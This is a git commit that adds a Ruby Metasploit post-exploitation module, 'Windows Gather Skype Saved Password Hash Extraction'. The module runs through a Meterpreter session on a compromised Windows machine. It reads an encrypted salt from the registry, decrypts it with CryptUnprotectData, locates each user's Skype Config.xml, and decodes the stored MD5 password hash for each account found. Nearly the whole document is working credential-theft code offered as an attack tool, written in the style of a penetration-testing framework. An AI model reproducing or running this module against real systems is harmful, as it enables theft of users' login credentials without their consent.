skype post module to extract password hash
parent
a0aca251f5
commit
275d8826bd
|
@ -0,0 +1,190 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Skype Saved Password Hash Extraction',
|
||||
'Description' => %q{ This module finds saved login credentials
|
||||
for the Windows Skype client. The hash is in MD5 format
|
||||
that uses the username, a static string "\nskyper\n" and the
|
||||
password. The resulting MD5 is stored in the Config.xml file
|
||||
for the user after being XOR'd against a key generated by applying
|
||||
2 SHA1 hashes of "salt" data which is stored in ProtectedStorage
|
||||
using the Windows API CryptProtectData against the MD5 },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'mubix', # module
|
||||
'hdm' # crypto help
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'References' => [
|
||||
['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'],
|
||||
['URL', 'http://insecurety.net/?p=427'],
|
||||
['URL', 'https://github.com/skypeopensource/tools']
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
# To generate test hashes in ruby use:
|
||||
=begin
|
||||
|
||||
require 'openssl'
|
||||
|
||||
username = "test"
|
||||
passsword = "test"
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update username
|
||||
hash.update "\nskyper\n"
|
||||
hash.update password
|
||||
|
||||
puts hash.hexdigest
|
||||
|
||||
=end
|
||||
|
||||
|
||||
def decrypt_reg(data)
|
||||
rg = session.railgun
|
||||
pid = session.sys.process.getpid
|
||||
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
mem = process.memory.allocate(512)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
len, addr = ret["pDataOut"].unpack("V2")
|
||||
else
|
||||
addr = [mem].pack("Q")
|
||||
len = [data.length].pack("Q")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
||||
len, addr = ret["pDataOut"].unpack("Q2")
|
||||
end
|
||||
|
||||
return "" if len == 0
|
||||
return process.memory.read(addr, len)
|
||||
end
|
||||
|
||||
# Get the "Salt" unencrypted from the registry
|
||||
def get_salt
|
||||
print_status "Checking for encrypted salt in the registry"
|
||||
vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0"
|
||||
rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0')
|
||||
print_good("Salt found and decrypted")
|
||||
return decrypt_reg(rdata)
|
||||
end
|
||||
|
||||
# Pull out all the users in the AppData directory that have config files
|
||||
def get_config_users(appdatapath)
|
||||
users = []
|
||||
dirlist = session.fs.dir.entries(appdatapath)
|
||||
dirlist.shift(2)
|
||||
dirlist.each do |dir|
|
||||
begin
|
||||
session.fs.file.stat(appdatapath + "\\#{dir}" + '\\config.xml')
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
|
||||
next
|
||||
end
|
||||
print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
|
||||
users << dir
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
def parse_config_file(config_path)
|
||||
hex = ""
|
||||
configfile = read_file(config_path)
|
||||
configfile.each_line do |line|
|
||||
if line =~ /Credentials/i
|
||||
hex = line.split('>')[1].split('<')[0]
|
||||
end
|
||||
end
|
||||
return hex
|
||||
end
|
||||
|
||||
|
||||
|
||||
def decrypt_blob(credhex, salt)
|
||||
|
||||
# Convert Config.xml hex to binary format
|
||||
blob = [credhex].pack("H*")
|
||||
|
||||
# Generate first SHA1
|
||||
sha1a = Digest::SHA1.new
|
||||
sha1a.update [0].pack("N*")
|
||||
sha1a.update salt
|
||||
|
||||
# Generate second SHA1
|
||||
sha1b = Digest::SHA1.new
|
||||
sha1b.update [1].pack("N*")
|
||||
sha1b.update salt
|
||||
|
||||
# Concatinate SHA digests for AES key
|
||||
sha = sha1a.digest + sha1b.digest
|
||||
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
aes.encrypt
|
||||
aes.key = sha[0,32] # Use only 32 bytes of key
|
||||
xor_key = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes
|
||||
xor_key << aes.final[0,16] # Get only the first 16 bytes of result
|
||||
|
||||
vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}")
|
||||
|
||||
decrypted = []
|
||||
|
||||
# Use AES/SHA crypto for XOR decoding
|
||||
(0...16).each do |i|
|
||||
decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0])
|
||||
end
|
||||
|
||||
return decrypted.pack("C*").unpack("H*")[0]
|
||||
end
|
||||
|
||||
|
||||
def get_config_creds(salt)
|
||||
users = []
|
||||
appdatapath = expand_path("%AppData%") + "\\Skype"
|
||||
print_status ("Checking for config files in %APPDATA%")
|
||||
users = get_config_users(appdatapath)
|
||||
if users.any?
|
||||
users.each do |user|
|
||||
print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
|
||||
credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
|
||||
if credhex == ""
|
||||
print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
|
||||
next
|
||||
else
|
||||
hash = decrypt_blob(credhex, salt)
|
||||
print_good "Skype MD5 found: #{user}:#{hash}"
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error "No users with configs found. Exiting"
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
salt = get_salt
|
||||
if salt != nil
|
||||
creds = get_config_creds(salt)
|
||||
else
|
||||
print_error "No salt found"
|
||||
print_error "Are you in a user process?"
|
||||
print_error "Does that user have skype installed?"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue